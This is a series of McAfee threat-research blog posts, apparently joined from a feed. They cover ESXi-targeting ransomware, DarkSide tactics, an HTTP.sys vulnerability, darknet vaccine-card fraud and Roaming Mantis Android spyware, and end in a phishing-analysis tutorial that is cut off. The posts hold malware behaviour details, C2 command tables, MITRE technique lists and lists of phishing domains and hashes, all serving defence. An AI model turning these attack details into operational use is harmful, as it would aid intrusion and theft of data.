McAfee Advanced Threat Research (ATR) analyzed the DarkSide Linux binary in our recent blog and we can confirm that a specific routine aimed at virtual machines is present in it.
Figure 2. DarkSide VMware Code routine
From the configuration file of the DarkSide Linux variant, it becomes clear that this variant is solely designed to encrypt virtual machines hosted on an ESXi server. It searches for the disk-files of the VMs, the memory files of the VMs (vmem), swap, logs, etc. – all files that are needed to start a VMware virtual machine.
Demo of Darkside encrypting an ESXi server: https://youtu.be/SMWIckvLMoE
Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems:
Figure 3. Babuk ransomware claiming to have built a Linux-based ransomware binary capable of encrypting ESXi servers
The malware is written in the open-source programming language Golang, most likely because it allows developers to have a single codebase to be compiled into all major operating systems. This means that, thanks to static linking, code written in Golang on a Linux system can run on a Windows or Mac system. That presents a large advantage to ransomware gangs looking to encrypt a whole infrastructure comprised of different systems architecture.
After being dropped on the ESXi server, the malware encrypts all the files on the system:
The malware was designed to target ESXi environments as we guessed, and it was confirmed when the Babuk team returned the decryptor named d_esxi.out. Unfortunately, the decryptor has been developed with some errors, which cause corruption in victim’s files:
Overall, the decryptor is poor as it only checks for the extension “.babyk” which will miss any files the victim has renamed to recover them. Also, the decryptor checks if the file is more than 32 bytes in length as the last 32 bytes are the key that will be calculated later with other hardcoded values to get the final key. This is bad design as those 32 bytes could be trash, instead of the key, as the customer could make things, etc. It does not operate efficiently by checking the paths that are checked in the malware, instead it analyzes everything. Another error we noticed was that the decryptor tries to remove a ransom note name that is NOT the same that the malware creates in each folder. This does not make any sense unless, perhaps, the Babuk developers/operators are delivering a decryptor that works for a different version and/or sample.
The problems with the Babuk decryptor left victims in horrible situations with permanently damaged data. The probability of getting a faulty decryptor isn’t persuading victims to pay up and this might be one of the main reasons that Babuk announced that it will stop encrypting data and only exfiltrate and extort from now on.
It is not only ransomware groups that show an interest in virtual systems; several initial access brokers are also trading access to compromised vCenter/ESXi servers on underground cybercriminal forums. The date and time of the specific offering below overlaps with the disclosure of CVE-2021-21985, but McAfee ATR hasn’t determined if this specific CVE was used to gain access to ESXi servers.
Figure 4. Threat Actor selling access to thousands of vCenter/ESXi servers
Figure 5. Threat actor offering compromised VMware ESXi servers
VMware urges users running VMware vCenter and VMware Cloud Foundation affected by CVE-2021-21985 and CVE-2021-21986 to apply its patch immediately. According to VMware, a malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server. The disclosed vulnerabilities have a critical CVSS base score of 9.8.
However, we do understand that VMware infrastructure is often installed on business-critical systems, so any type of patching activity usually has a high degree of impact on IT operations. Hence, the gap between vulnerability disclosure and patching is typically high. With the operating systems on VMware being a closed system they lack the ability to natively install workload protection/detection solutions. Therefore, the defenses should be based on standard cyber hygiene/risk mitigation practices and should be applied in the following order where possible.
Virtualization and its underlying technologies are key in today’s infrastructures. With the release of recently discovered vulnerabilities and an understanding of their criticality, threat actors are shifting focus. Proof can be seen in underground forums where affiliates recruit pentesters with knowledge of specific virtual technologies to develop custom ransomware that is designed to cripple these technologies. Remote Desktop access is the number one access vector in many ransomware cases, followed by edge-devices lacking the latest security updates, making them vulnerable to exploitation. With the latest VMware CVEs mentioned in this blog, we urge you to take the right steps to secure not only internet exposed systems, but also internal systems, to minimize the risk of your organization losing its precious VMs, or gold, to cyber criminals.
Special thanks to Thibault Seret, Mo Cashman, Roy Arnab and Christiaan Beek for their contributions.
The post Are Virtual Machines the New Gold for Cyber Criminals? appeared first on McAfee Blogs.
Browser push notifications can highly resemble Windows system notifications. As recently discussed, scammers are abusing push notifications to trick users into taking action. This recent example demonstrates the social engineering tactics used to trick users into installing a fake Windows Defender update. A toaster popup in the tray informs the user of a Windows Defender Update.
Clicking the message takes the user to a fake update website.
The site serves a signed ms-appinstaller (MSIX) package. When downloaded and run, the user is prompted to install a supposed Defender Update from “Publisher: Microsoft”
After installation, the “Defender Update” App appears in the start menu like other Windows Apps.
The shortcut points to the installed malware: C:\Program Files\WindowsApps\245d1cf3-25fc-4ce1-9a58-7cd13f94923a_1.0.0.0_neutral__7afzw0tp1da5e\bloom\Eversible.exe, which is a data stealing trojan, targeting various applications and information:
The post Scammers Impersonating Windows Defender to Push Malicious Windows Apps appeared first on McAfee Blogs.
Over the past week we have seen a considerable body of work focusing on DarkSide, the ransomware responsible for the recent gas pipeline shutdown. Many of the excellent technical write-ups will detail how it operates an affiliate model that supports others to be involved within the ransomware business model (in addition to the developers). While this may not be a new phenomenon, this model is actively deployed by many groups with great effect. Herein is the crux of the challenge: while the attention may be on DarkSide ransomware, the harsh reality is that equal concern should be placed at Ryuk, or REVIL, or Babuk, or Cuba, etc. These, and other groups and their affiliates, exploit common entry vectors and, in many cases, the tools we see being used to move within an environment are the same. While this technical paper covers DarkSide in more detail, we must stress the importance of implementing best practices in securing/monitoring your network. These additional publications can guide you in doing so:
As mentioned earlier, DarkSide is a Ransomware-as-a-Service (RaaS) that offers high returns for penetration-testers that are willing to provide access to networks and distribute/execute the ransomware. DarkSide is an example of a RaaS whereby they actively invest in development of the code, affiliates, and new features. Alongside their threat to leak data, they have a separate option for recovery companies to negotiate, are willing to engage with the media, and are willing to carry out a Distributed Denial of Service (DDoS) attack against victims. Those victims who do pay a ransom receive an alert from DarkSide on companies that are on the stock exchange who are breached, in return for their payment. Potential legal issues abound, not to mention ethical concerns, but this information could certainly provide an advantage in short selling when the news breaks.
The group behind DarkSide are also particularly active. Using MVISION Insights we can identify the prevalence of targets. This map clearly illustrates that the most targeted geography is clearly the United States (at the time of writing). Further, the sectors primarily targeted are Legal Services, Wholesale, and Manufacturing, followed by the Oil, Gas and Chemical sectors.
McAfee’s market leading EPP solution covers DarkSide ransomware with an array of early prevention and detection techniques.
Customers using MVISION Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.
MVISION EDR includes detections on many of the behaviors used in the attack including privilege escalation, malicious PowerShell and CobaltStrike beacons, and visibility of discovery commands, command and control, and other tactics along the attack chain. We have EDR telemetry indicating early detection before the detonation of the Ransomware payload.
ENS TP provides coverage against known indicators in the latest signature set. Updates on new indicators are pushed through GTI.
ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections.
ENS ATP adds two (2) additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.
For the latest mitigation guidance, please review:
https://kc.mcafee.com/corporate/index?page=content&id=KB93354&locale=en_US
The RaaS platform offers the affiliate the option to build either a Windows or Unix version of the ransomware. Depending on what is needed, we observe that affiliates are using different techniques to circumvent detection, by masquerading the generated Windows binaries of DarkSide. Using several packers or signing the binary with a certificate are some of the techniques used to do so.
As peers in our industry have described, we also observed campaigns where the affiliates and their hacking crew used several ways to gain initial access to their victim’s network.
The configuration of the ransomware contains several options to enable or disable system processes, but also the above part where it states which processes should not be killed.
As mentioned before, a lot of the current Windows samples in the wild are the 1.8 version of DarkSide, others are the 2.1.2.3 version. In a chat one of the actors revealed that a V3 version will be released soon.
On March 23rd, 2021, on XSS, one of the DarkSide spokespersons announced an update of DarkSide as a PowerShell version and a major upgrade of the Linux variant:
In the current samples we observe, we do see the PowerShell component that is used to delete the Volume Shadow copies, for example.
Tools observed:
Before distributing the ransomware around the network using tools like PsExec and PowerShell, data was exfiltrated to Cloud Services that would later be used on the DarkSide Leak page for extortion purposes. Zipping the data, using Rclone or WinSCP are some of the examples observed.
While a lot of good and in-depth analyses are written by our peers, one thing worth noting is that when running DarkSide, the encryption process is fast. It is one of the areas the actors brag about on the same forum and do a comparison to convince affiliates to join their program:
DarkSide, like Babuk ransomware, has a Linux version. Both target *nix systems but in particular VMWare ESXi servers and storage/NAS. Storage/NAS is critical for many companies, but how many of you are running a virtual desktop, hosted on a ESXi server?
Darkside wrote a Linux variant that supports the encryption of ESXI server versions 5.0 – 7.1 as well as NAS technology from Synology. They state that other NAS/backup technologies will be supported soon.
In the code we clearly observe this support:
Also, the configuration of the Linux version shows it is clearly looking for Virtual Disk/memory kind of files:
Although the adversary recently claimed to vote for targets, the attacks are ongoing with packed and signed samples observed as recently as today (May 12, 2021):
Recently the Ransomware Task Force, a partnership McAfee is proud to be a part of, released a detailed paper on how ransomware attacks are occurring and how countermeasures should be taken. As many of us have published, presented on, and released research upon, it is time to act. Please follow the links included within this blog to apply the broader advice about applying available protection and detection in your environment against such attacks.
Data Encrypted for Impact – T1486
Inhibit System Recovery – T1490
Valid Accounts – T1078
PowerShell – T1059.001
Service Execution – T1569.002
Account Manipulation – T1098
Dynamic-link Library Injection – T1055.001
Account Discovery – T1087
Bypass User Access Control – T1548.002
File Permissions Modification – T1222
System Information Discovery – T1082
Process Discovery – T1057
Screen Capture – T1113
Compile After Delivery – T1027.004
Credentials in Registry – T1552.002
Obfuscated Files or Information – T1027
Shared Modules – T1129
Windows Management Instrumentation – T1047
Exploit Public-Facing Application – T1190
Phishing – T1566
External Remote Services – T1133
Multi-hop Proxy – T1090.003
Exploitation for Privilege Escalation – T1068
Application Layer Protocol – T1071
Bypass User Account Control – T1548.002
Commonly Used Port – T1043
Compile After Delivery – T1500
Credentials from Password Stores – T1555
Credentials from Web Browsers – T1555.003
Credentials in Registry – T1214
Deobfuscate/Decode Files or Information – T1140
Disable or Modify Tools – T1562.001
Domain Account – T1087.002
Domain Groups – T1069.002
Domain Trust Discovery – T1482
Exfiltration Over Alternative Protocol – T1048
Exfiltration to Cloud Storage – T1567.002
File and Directory Discovery – T1083
Gather Victim Network Information – T1590
Ingress Tool Transfer – T1105
Linux and Mac File and Directory Permissions Modification – T1222.002
Masquerading – T1036
Process Injection – T1055
Remote System Discovery – T1018
Scheduled Task/Job – T1053
Service Stop – T1489
System Network Configuration Discovery – T1016
System Services – T1569
Taint Shared Content – T1080
Unix Shell – T1059.004
The post DarkSide Ransomware Victims Sold Short appeared first on McAfee Blogs.
Today, Microsoft released a highly critical vulnerability (CVE-2021-31166) in its web server http.sys. This product is a Windows-only HTTP server which can be run standalone or in conjunction with IIS (Internet Information Services) and is used to broker internet traffic via HTTP network requests. The vulnerability is very similar to CVE-2015-1635, another Microsoft vulnerability in the HTTP network stack reported in 2015.
With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products.
The issue is due to Windows improperly tracking pointers while processing objects in network packets containing HTTP requests. As HTTP.SYS is implemented as a kernel driver, exploitation of this bug will result in at least a Blue Screen of Death (BSoD), and in the worst-case scenario, remote code execution, which could be wormable. While this vulnerability is exceptional in terms of potential impact and ease of exploitation, it remains to be seen whether effective code execution will be achieved. Furthermore, this vulnerability only affects the latest versions of Windows 10 and Windows Server (2004 and 20H2), meaning that the exposure for internet-facing enterprise servers is fairly limited, as many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which are not susceptible to this flaw.
At the time of this writing, we are unaware of any “in-the-wild” exploitation for CVE-2021-31166 but will continue to monitor the threat landscape and provide relevant updates. We urge Windows users to apply the patch immediately wherever possible, giving special attention to externally facing devices that could be compromised from the internet. For those who are unable to apply Microsoft’s update, we are providing a “virtual patch” in the form of a network IPS signature that can be used to detect and prevent exploitation attempts for this vulnerability.
McAfee Network Security Platform (NSP) Protection
Sigset Version: 10.8.21.2
Attack ID: 0x4528f000
Attack Name: HTTP: Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2021-31166)
McAfee Knowledge Base Article KB94510:
https://kc.mcafee.com/corporate/index?page=content&id=KB94510
The post Major HTTP Vulnerability in Windows Could Lead to Wormable Exploit appeared first on McAfee Blogs.
Countries all over the world are racing to achieve so-called herd immunity against COVID-19 by vaccinating their populations. From the initial lockdown to the cancellation of events and the prohibition of business travel, to the reopening of restaurants, and relaxation of COVID restrictions on outdoor gatherings, the vaccine rollout has played a critical role in staving off another wave of infections and restoring some degree of normalcy. However, a new and troubling phenomenon is that consumers are buying COVID-19 vaccines on the black market due to the increased demand around the world. As a result, illegal COVID-19 vaccines and vaccination records are in high demand on darknet marketplaces.
The impact on society is that the proliferation of fraudulent test results and counterfeit COVID-19 vaccine records pose a serious threat to public health and spur the underground economy. Individuals undoubtedly long to return to their pre-pandemic routines and the freedom of travel and behavior denied them over the last year. However, the purchase of false COVID-19 test certifications or vaccination cards to board aircraft, attend an event or enter a country endangers themselves, even if they are asymptomatic. It also threatens the lives of other people in their own communities and around the world. Aside from the collective damage to global health, darknet marketplace transactions encourage the supply of illicit goods and services. The underground economy cycle continues as demand creates inventory, which in turn creates supply. In addition to selling COVID-19 vaccines, vaccination cards, and fake test results, cybercriminals can also benefit by reselling the names, dates of birth, home addresses, contact details, and other personally indefinable information of their customers.
As we commemorate the one-year anniversary of the COVID-19 pandemic, at least 184 countries and territories worldwide have started their vaccination rollouts.[1] The United States is vaccinating Americans at an unprecedented rate. As of May 2021, more than 105 million Americans had been fully vaccinated. The growing demand has made COVID-19 vaccines the new “liquid gold” in the pandemic era.
However, following vaccination success, COVID-19 related cybercrime has increased. COVID-19 vaccines are currently available on at least a dozen darknet marketplaces. Pfizer-BioNTech COVID-19 vaccines (and we can only speculate as to whether they are genuine or a form of liquid “fool’s gold”) can be purchased for as little as $500 per dose from top-selling vendors. These sellers use various channels, such as Wickr, Telegram, WhatsApp and Gmail, for advertising and communications. Darknet listings associated with alleged Pfizer-BioNTech COVID-19 vaccines are selling for $600 to $2,500. Prospective buyers can receive the product within 2 to 10 days. Some of these supposed COVID-19 vaccines are imported from the United States, while others are packed in the United Kingdom and shipped to every country in the world, according to the underground advertisement.
Figure 1: Dark web marketplace offering COVID-19 vaccines
Figure 2: Dark web marketplace offering COVID-19 vaccines
A vendor sells 10 doses of what they claim to be Moderna COVID-29 vaccines for $2,000. According to the advertisement, the product is available to ship to the United Kingdom and worldwide.
Figure 3: Dark web marketplace offering COVID-19 vaccines
Besides what are claimed to be COVID-19 vaccines, cybercriminals offer antibody home test kits for $152 (again, we do not know whether they are genuine or not). According to the advertisement, there are various shipping options available. It costs $41 for ‘stealth’ shipping to the United States, $10.38 to ship to the United Kingdom, and $20 to mail the vaccines internationally.
Figure 4: Dark web marketplace offering COVID-19 test kits
On the darknet marketplaces, the sales of counterfeit COVID-19 test results and vaccination certificates began to outnumber the COVID vaccine offerings in mid-April. This shift is most likely because COVID-19 vaccines are now readily available for those who want them. People can buy and show these certificates without being vaccinated. A growing number of colleges will require students to have received a COVID-19 vaccine before returning to in-person classes by this fall.[2] Soon, COVID-19 vaccination proof is likely to become a requirement of some type of “passport” to board a plane or enter major events and venues.
The growing demand for proof of vaccination is driving an illicit economy for fake vaccination and test certificates. Opportunistic cybercriminals capitalize on public interest in obtaining a COVID-19 immunity passport, particularly for those who oppose COVID-19 vaccines or test positive for COVID-19 but want to return to school or work, resume travel or attend a public event. Counterfeit negative COVID-19 test results and COVID-19 vaccination cards are available for sale at various darknet marketplaces. Fake CDC-issued vaccination cards are available for $50. One vendor offers counterfeit German COVID-19 certificates for $23.35. Vaccination cards with customized information, such as “verified” batch or lot numbers for particular dates and “valid” medical and hospital information, are also available for purchase.
One darknet marketplace vendor offers to sell a digital copy of the COVID-19 vaccination card with detailed printing instructions for $50.
Figure 5: Dark web marketplace offering COVID-19 vaccination cards
One vendor sells CDC vaccination cards for $1,200 and $1,500, as seen in the following screenshot. These cards, according to the advertisement, can be personalized with details such as the prospective buyer’s name and medical information.
Figure 6: Dark web marketplace offering COVID-19 vaccination cards
Other darknet marketplace vendors offer fake CDC-issued COVID-19 vaccination card packages for $1,200 to $2,500. The package contains a PDF file that buyers can type and print, as well as personalized vaccination cards with “real” lot numbers, according to the advertisement. Prospective buyers can pay $1,200 for blank cards or $1,500 for custom-made cards with valid batch numbers, medical and hospital details.
Figure 7: Dark web marketplace offering COVID-19 vaccination cards
One vendor offers counterfeit negative COVID-19 test results and vaccine passports to potential buyers.
Figure 8: Dark web marketplace offering negative COVID-19 test results and vaccination cards
A seller on another dark web market sells five counterfeit German COVID-19 certificates for $23.35. According to the advertisement below, the product is available for shipping to Germany and the rest of the world.
Figure 9: Dark web marketplace offering German COVID-19 vaccination certificates
The proliferation of fraudulent test results and counterfeit COVID-19 vaccine records on darknet marketplaces poses a significant threat to global health while fueling the underground economy. While an increasing number of countries begin to roll out COVID-19 vaccines and proof of vaccination, questionable COVID vaccines and fake proofs are emerging on the underground market. With the EU and other jurisdictions opening their borders to those who have received vaccinations, individuals will be tempted to obtain false vaccination documents in their drive to a return to pre-pandemic normalcy that includes summer travel and precious time with missed loved ones. Those who buy questionable COVID-19 vaccines or forged vaccination certificates risk their own lives and the lives of others. Apart from the harm to global health, making payments to darknet marketplaces promotes the growth of illegal products and services. The cycle of the underground economy continues as demand generates inventory, which generates supply. These are the unintended consequences of an effective global COVID vaccine rollout.
[1] https[:]//www.cnn.com/interactive/2021/health/global-covid-vaccinations/
[2] https[:]//www.npr.org/2021/04/11/984787779/should-colleges-require-covid-19-vaccines-for-fall-more-campuses-are-saying-yes
The post “Fool’s Gold”: Questionable Vaccines, Bogus Results, and Forged Cards appeared first on McAfee Blogs.
The Roaming Mantis smishing campaign has been impersonating a logistics company to steal SMS messages and contact lists from Asian Android users since 2018. In the second half of 2020, the campaign improved its effectiveness by adopting dynamic DNS services and spreading messages with phishing URLs that infected victims with the fake Chrome application MoqHao.
Since January 2021, however, the McAfee Mobile Research team has established that Roaming Mantis has been targeting Japanese users with a new malware called SmsSpy. The malicious code infects Android users using one of two variants depending on the version of OS used by the targeted devices. This ability to download malicious payloads based on OS versions enables the attackers to successfully infect a much broader potential landscape of Android devices.
The phishing SMS message used is similar to that of recent campaigns, yet the phishing URL contains the term “post” in its composition.
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Japanese message: I brought back your luggage because you were absent. please confirm. hxxps://post[.]cioaq[.]com
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Fig: Smishing message impersonating a notification from a logistics company. (Source: Twitter)
Another smishing message pretends to be a Bitcoin operator and then directs the victim to a phishing site where the user is asked to verify an unauthorized login.
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Japanese message: There is a possibility of abnormal login to your [bitFlyer] account. Please verify at the following URL: hxxps://bitfiye[.]com
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Fig: Smishing message impersonating a notification from a bitcoin operator. (Source: Twitter)
During our investigation, we observed the phishing website hxxps://bitfiye[.]com redirect to hxxps://post.hygvv[.]com. The redirected URL contains the word “post” as well and follows the same format as the first screenshot. In this way, the actors behind the attack attempt to expand the variation of the SMS phishing campaign by redirecting from a domain that resembles a target company and service.
Characteristic of the malware distribution platform, different malware is distributed depending on the Android OS version that accessed the phishing page. On Android OS 10 or later, the fake Google Play app will be downloaded. On Android 9 or earlier devices, the fake Chrome app will be downloaded.
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Japanese message in the dialog: “Please update to the latest version of Chrome for better security.” |
Fig: Fake Chrome application for download (Android OS 9 or less)
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Japanese message in the dialog: “[Important] Please update to the latest version of Google Play for better security!”
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Fig: Fake Google Play app for download (Android OS 10 or above)
Because the malicious program code needs to be changed with each major Android OS upgrade, the malware author appears to cover more devices by distributing malware that detects the OS, rather than attempting to cover a smaller set with just one type of malware
The main purpose of this malware is to steal phone numbers and SMS messages from infected devices. After it runs, the malware pretends to be a Chrome or Google Play app that then requests the default messaging application to read the victim’s contacts and SMS messages. It pretends to be a security service by Google Play on the latest Android device. Additionally, it can also masquerade as a security service on the latest Android devices. Examples of both are seen below.
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Japanese message: “At first startup, a dialog requesting permissions is displayed. If you do not accept it, the app may not be able to start, or its functions may be restricted.”
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Fig: Default messaging app request by fake Chrome app
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Japanese message: “Secure Internet Security. Your device is protected. Virus and Spyware protection, Anti-phishing protection and Spam mail protection are all checked.” |
Fig: Default messaging app request by fake Google Play app
After hiding its icon, the malware establishes a WebSocket connection for communication with the attacker’s command and control (C2) server in the background. The default destination address is embedded in the malware code. It further has link information to update the C2 server location in the event it is needed. Thus, if no default server is detected, or if no response is received from the default server, the C2 server location will be obtained from the update link.
The MoqHao family hides C2 server locations in the user profile page of a blog service, yet some samples of this new family use a Chinese online document service to hide C2 locations. Below is an example of new C2 server locations from an online document:
Fig: C2 server location described in online document
As part of the handshake process, the malware sends the Android OS version, phone number, device model, internet connection type (4G/Wi-Fi), and unique device ID on the infected device to the C2 server.
Then it listens for commands from the C2 server. The sample we analyzed supported the commands below with the intention of stealing phone numbers in Contacts and SMS messages.
| Command String | Description |
| 通讯录 | Send whole contact book to server |
| 收件箱 | Send all SMS messages to server |
| 拦截短信&open | Start <Delete SMS message> |
| 拦截短信&close | Stop <Delete SMS message> |
| 发短信& | Command data contains SMS message and destination number, send them via infected device |
Table: Remote commands via WebSocket
We believe that the ongoing smishing campaign targeting Asian countries is using different mobile malware such as MoqHao, SpyAgent, and FakeSpy. Based on our research, the new type of malware discovered this time uses a modified infrastructure and payloads. We believe that there could be several groups in the cyber criminals and each group is developing their attack infrastructures and malware separately. Or it could be the work of another group who took advantage of previously successful cyber-attacks.
McAfee Mobile Security detects this threat as Android/SmsSpy and alerts mobile users if it is present and further protects them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.
Phishing Domains:
| Domain | Registration Date |
| post.jpostp.com | 2021-03-15 |
| manag.top | 2021-03-11 |
| post.niceng.top | 2021-03-08 |
| post.hygvv.com | 2021-03-04 |
| post.cepod.xyz | 2021-03-04 |
| post.jposc.com | 2021-02-08 |
| post.ckerr.site | 2021-02-06 |
| post.vioiff.com | 2021-02-05 |
| post.cioaq.com | 2021-02-04 |
| post.tpliv.com | 2021-02-03 |
| posk.vkiiu.com | 2021-02-01 |
| sagawae.kijjh.com | 2021-02-01 |
| post.viofrr.com | 2021-01-31 |
| posk.ficds.com | 2021-01-30 |
| sagawae.ceklf.com | 2021-01-30 |
| post.giioor.com | 2021-01-30 |
| post.rdkke.com | 2021-01-29 |
| post.japqn.com | 2021-01-29 |
| post.thocv.com | 2021-01-28 |
| post.xkdee.com | 2021-01-27 |
| post.sagvwa.com | 2021-01-25 |
| post.aiuebc.com | 2021-01-24 |
| post.postkp.com | 2021-01-23 |
| post.solomsn.com | 2021-01-22 |
| post.civrr.com | 2021-01-21 |
| post.jappnve.com | 2021-01-19 |
| sp.vvsscv.com | 2021-01-16 |
| ps.vjiir.com | 2021-01-15 |
| post.jpaeo.com | 2021-01-12 |
| t.aeomt.com | 2021-01-2 |
| Hash | Package name | Fake Application |
| EA30098FF2DD1D097093CE705D1E4324C8DF385E7B227C1A771882CABEE18362 | com.gmr.keep | Chrome |
| 29FCD54D592A67621C558A115705AD81DAFBD7B022631F25C3BAAE954DB4464B | com.gmr.keep | Google Play |
| 9BEAD1455BFA9AC0E2F9ECD7EDEBFDC82A4004FCED0D338E38F094C3CE39BCBA | com.mr.keep | Google Play |
| D33AB5EC095ED76EE984D065977893FDBCC12E9D9262FA0E5BC868BAD73ED060 | com.mrc.keep | Chrome |
| 8F8C29CC4AED04CA6AB21C3C44CCA190A6023CE3273EDB566E915FE703F9E18E | com.hhz.keeping | Chrome |
| 21B958E800DB511D2A0997C4C94E6F0113FC4A8C383C73617ABCF1F76B81E2FD | com.hhz.keeping | Google Play |
| 7728EF0D45A337427578AAB4C205386CE8EE5A604141669652169BA2FBA23B30 | com.hz.keep3 | Chrome |
| 056A2341C0051ACBF4315EC5A6EEDD1E4EAB90039A6C336CC7E8646C9873B91A | com.hz.keep3 | Google Play |
| 054FA5F5AD43B6D6966CDBF4F2547EDC364DDD3D062CD029242554240A139FDB | com.hz.keep2 | Google Play |
| DD40BC920484A9AD1EEBE52FB7CD09148AA6C1E7DBC3EB55F278763BAF308B5C | com.hz.keep2 | Chrome |
| FC0AAE153726B7E0A401BD07C91B949E8480BAA0E0CD607439ED01ABA1F4EC1A | com.hz.keep1 | Google Play |
| 711D7FA96DFFBAEECEF12E75CE671C86103B536004997572ECC71C1AEB73DEF6 | com.hz.keep1 | Chrome |
| FE916D1B94F89EC308A2D58B50C304F7E242D3A3BCD2D7CCC704F300F218295F | com.hz.keep1 | Google Play |
| 3AA764651236DFBBADB28516E1DCB5011B1D51992CB248A9BF9487B72B920D4C | com.hz.keep1 | Chrome |
| F1456B50A236E8E42CA99A41C1C87C8ED4CC27EB79374FF530BAE91565970995 | com.hz.keep | Google Play |
| 77390D07D16E6C9D179C806C83D2C196A992A9A619A773C4D49E1F1557824E00 | com.hz.keep | Chrome |
| 49634208F5FB8BCFC541DA923EBC73D7670C74C525A93B147E28D535F4A07BF8 | com.hz.keep | Chrome |
| B5C45054109152F9FE76BEE6CBBF4D8931AE79079E7246AA2141F37A6A81CBA3 | com.hz.keep | Google Play |
| 85E5DBEA695A28C3BA99DA628116157D53564EF9CE14F57477B5E3095EED5726 | com.hz.keep | Chrome |
| 53A5DD64A639BF42E174E348FEA4517282C384DD6F840EE7DC8F655B4601D245 | com.hz.keep | Google Play |
| 80B44D23B70BA3D0333E904B7DDDF7E19007EFEB98E3B158BBC33CDA6E55B7CB | com.hz.keep | Chrome |
| 797CEDF6E0C5BC1C02B4F03E109449B320830F5ECE0AA6D194AD69E0FE6F3E96 | com.hz.keep | Chrome |
| 691687CB16A64760227DCF6AECFE0477D5D983B638AFF2718F7E3A927EE2A82C | com.hz.keep | Google Play |
| C88C3682337F7380F59DBEE5A0ED3FA7D5779DFEA04903AAB835C959DA3DCD47 | com.hz.keep | Google Play |
The post Roaming Mantis Amplifies Smishing Campaign with OS-Specific Android Malware appeared first on McAfee Blogs.
Email is one of the primary ways of communication in the modern world. We use email to receive notifications about our online shopping, financial transaction, credit card e-statements, one-time passwords to authenticate registration processes, application for jobs, auditions, school admissions and many other purposes. Since many people around the globe depend on electronic mail to communicate, phishing emails are an attack method favored by cyber criminals.
In this type of attack, cyber criminals design emails to look convincing and send them to targeted people. The sender pretends to be someone the potential victim knows, someone who can be trusted, like a friend, or close contact, or the very bank where they save their income, or even the social media platform where they might have an account. As soon as they click on any malicious files or links embedded within these emails, they may land in a compromised situation.
In this write up, I will focus on things to look at while hunting threats in phishing emails.
Header analysis:
An email is divided into three parts: header, body, and attachment. The header part keeps the routing information of the email. It may contain other information like content type, from, to, delivery date, sender origin, mail server, and the actual email address used to send/receive the email.
Important headers
Return- Path:
The Return-path email address receives the delivery status information. To get undelivered emails, or any other bounced back messages, our emails’ server uses Return-Path. The recipient server uses this field to identify spoof emails. In this process, the recipient server retrieves all the permitted IPs related to the sender domain and matches with the sender IP. If it fails to provide any match, we can consider the email to be spam.
Received:
This field shows information related to all hops, through which the email was transferred. The last entry shows the initial address of the email sender.
Reply-To:
This field’s email address is used to receive the reply message. It can differ from the address in spoof emails.
Received-SPF:
SPF (Sender Policy Framework) helps to verify that messages appearing from a particular domain were sent from servers under control of the actual owner. If the value is Pass, then the email source is valid.
DKIM:
Domain Keys Identified Mail (DKIM) signs the outgoing email with an encrypted signature inside the headers and the recipient email server decrypts it, using a shared public key to check whether the message was changed in transit.
X-Headers:
These headers are known as experimental or extension headers. They are usually added by the recipient mailbox providers. Fields like X-FOSE-Spam and X-Spam-Score are used to identify spam emails.
Consider the following email message:
Figure1: Raw email header information
Based on the above information the email is suspected to be spoofed. We should put the extracted email IDs in the block list.
The email bodies of phishing emails we usually receive mostly target our trust, by having something faithful and reliable in their content. It is so personalized and seemingly genuine, that victim’s often take the bait. Let us see the example below and understand what actions should be taken in such a scenario.
Figure2: Phishing email related to COVID-19
In the above email, the spammer pretends to be a medical insurance service provider and this mail is regarding a health-plan payment invoice for COVID-19 insurance the victim has supposedly purchased recently.
Figure2: Phishing email related to COVID-19 (continued)
Moreover, if we look closely at the bottom of the email, we can see the message, ‘This email has been scanned by McAfee’. This makes the email appear believable, as well as trustworthy.
Now, if we hover the mouse pointer over the |SEE DETAILS| button, one OneDrive link will pop up. Rather than clicking on the link, we must copy it for execution separately.
Figure3: Downloaded html file after clicking on the OneDrive link.
To execute the above OneDrive link separately (hxxps://1drv[.]ms/u/s!Ajmzc7fpBw5lrzwfPwIkoZRelG4D), it would be preferable to load it inside an isolated environment. If you do not have such an environment available yourself, you can use an online browser service like Browserling.
After loading the link in the browser, you will notice that it downloads an html attachment. Clicking on the html file takes us to another webpage (hxxps://selimyildiz[.]com.tr/wp-includes/fonts/greec/xls/xls/open/index.htm).
Figure4: Fake Office 365 login page
The content of the site is a lookalike of an online Microsoft Excel document where it is asking for Office 365 login details to download it. Before doing anything here we need to check a few more things.
Figure5: WordPress admin panel of selimyildiz[.]com.tr
To further validate whether the webpage is genuine or not, I have shortened the URL to its domain level to load it. The domain leads to a WordPress login page which does not belong to Microsoft, further arousing suspicion.
Figure 6: whois information of selimyildiz[.]com.tr
As per the whois information This domain has not been registered by Microsoft and it resolves to the public IP 2.56.152.159 which is also not owned by Microsoft. The information clearly indicates that it is not a genuine website.
Figure7: Attempting to login with random credentials to validate the authentication
Now to check the behavior, I came back to the login page, enter some random credentials, and try to download the invoice. As expected, I was faced with a login failed error. Here on we can assume there might be two probable reasons for the login failure. Firstly, to make the victim believe that it is a genuine login page or, secondly, to confirm whether the typed password is correct, as the victim may have made a typing error.
Figure8: Fake invoice to lure the victim
Now that we know this is fake, what is next? To validate the authentication check I entered random credentials again and bingo! This time it redirects to a pdf invoice, which looks genuine by showing it belongs to some medical company. However, the sad part is if the victim falls under this trap then, by the time they realize that this is a fake invoice, their login credentials will be phished.
In email, users commonly share two types of documents as an attachment, Microsoft office documents or PDF files. These are often used in document-based malware campaigns. To exploit the targeted systems, attackers usually infect these documents using VBA or JavaScript and distribute them via (phishing) emails.
In the first section of this part, we will analyze a malicious Word document. This type of document contains malicious Visual Basic Application (VBA) code, known as macros. Sometimes, a macro triggers the moment a document is opened, but from Microsoft Office 2007 onwards, a macro cannot execute itself until and unless the user enables the macro content. To deal with such showstoppers, attackers utilize various social engineering methods, where the primary goal is to build trust with the victim so that they click on the ‘Enable Editing’ button without any second thought.
